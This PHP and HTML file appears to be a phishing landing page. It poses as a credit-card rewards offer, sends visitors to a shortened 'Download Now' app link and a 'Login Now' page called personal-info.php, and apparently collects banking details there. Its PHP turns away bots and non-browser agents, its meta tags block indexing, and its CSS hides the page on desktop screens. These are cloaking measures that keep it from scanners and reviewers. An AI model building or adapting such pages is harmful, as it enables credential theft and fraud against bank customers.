<?php
// Function to check if the request is from a mobile device
function isMobile() {
    return preg_match('/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|iphone|ipod|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.browser|up\.link|vodafone|wap|windows (ce|phone)|xda|xiino/i', $_SERVER['HTTP_USER_AGENT']);
}

// Array of user agents commonly associated with human users
$allowedUserAgents = [
    'Mozilla/5.0',  // Firefox, Chrome, Safari, Edge, etc.
    'Opera',        // Opera browser
    'AppleWebKit',  // WebKit-based browsers
    'Chrome',       // Chrome browser
    'Safari',       // Safari browser
    'Firefox',      // Firefox browser
    'Edge'          // Edge browser
    // Add more user agents as needed
];

// Function to check if the user agent is a known browser
function isKnownBrowser($userAgent) {
    global $allowedUserAgents;
    foreach ($allowedUserAgents as $agent) {
        if (stripos($userAgent, $agent) !== false) {
            return true;
        }
    }
    return false;
}

// Check if the request is from a bot or a real user
function isBot() {
    $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    // If user agent is empty, treat it as a bot
    if (empty($userAgent)) {
        return true;
    }
    // Check if the user agent is a known browser
    return !isKnownBrowser($userAgent);
}

// If the request is from a bot, block access
if (isBot()) {
   //  Return a 403 Forbidden status
    http_response_code(403);
   //  Display a message or redirect to an error page
    echo "Access forbidden";
    exit;
}

// Set security headers to enhance protection
header("X-XSS-Protection: 1; mode=block");
header("X-Content-Type-Options: nosniff");
header("Strict-Transport-Security: max-age=31536000; includeSubDomains; preload");

$blocked_user_agents = ['BadBot', 'EvilCrawler', 'ScanBot'];

$user_agent = $_SERVER['HTTP_USER_AGENT'];
foreach ($blocked_user_agents as $bot) {
    if (strpos($user_agent, $bot) !== false) {
        header('HTTP/1.0 403 Forbidden');
        exit('You are forbidden from accessing this site.');
    }
}



// Your website HTML code here
?>



<!doctype html>
<html lang="en">
<head>
    <title>Offers</title>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

    <!-- Bootstrap CSS -->
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
    <style>
        h2 {
            color: #ff0000;
            font-weight: bold;
            font-size: 48px;
            text-align: center;
        }
        span.black {
            color: black !important;
        }
        a.button {
            padding: 10px;
            color: white;
            background: #ff0000;
            border-radius: 12px;
            font-size: 17px;
            text-align: center;
            font-weight: 400;
            letter-spacing: 2px;
        }
        .download-box {
            padding: 10px;
        }
        @media only screen and (min-width: 765px) {
            body, title {
                display: none;
            }
        }
    </style>
</head>
<body>
    <main>
    <img src="./img/1.png" alt="" width="100%">
    <img src="./img/2.png" alt="" width="100%">
    
    <div class="download-box text-center">
        <div class="container">
            <div class="row">
                <div class="col-md-6">
                    <h2>DOWNLOAD <span class="black">OUR APP</span></h2>
                    <p class="text-center">Enjoy 2X EDGE REWARDS Points* on online spends with our Credit Card</p>
                    
                   <a class="button" href="https://tinyurl.com/y5b9y7dm">Download Now</a> 
                        <a class="button" href="personal-info.php">Login Now</a>
                    </div>
                </div>
            </div>
        </div>
        <br>
        

      <img src="./img/3.png" alt="" width="100%">
    <img src="./img/4.jpeg" alt="" width="100%">
    <img src="./img/6.png" alt="" width="100%">
    <img src="./img/7.png" alt="" width="100%">
</main>

     <!--jQuery first, then Popper.js, then Bootstrap JS-->
    <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1" crossorigin="anonymous"></script>
    <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
  </body>
</html>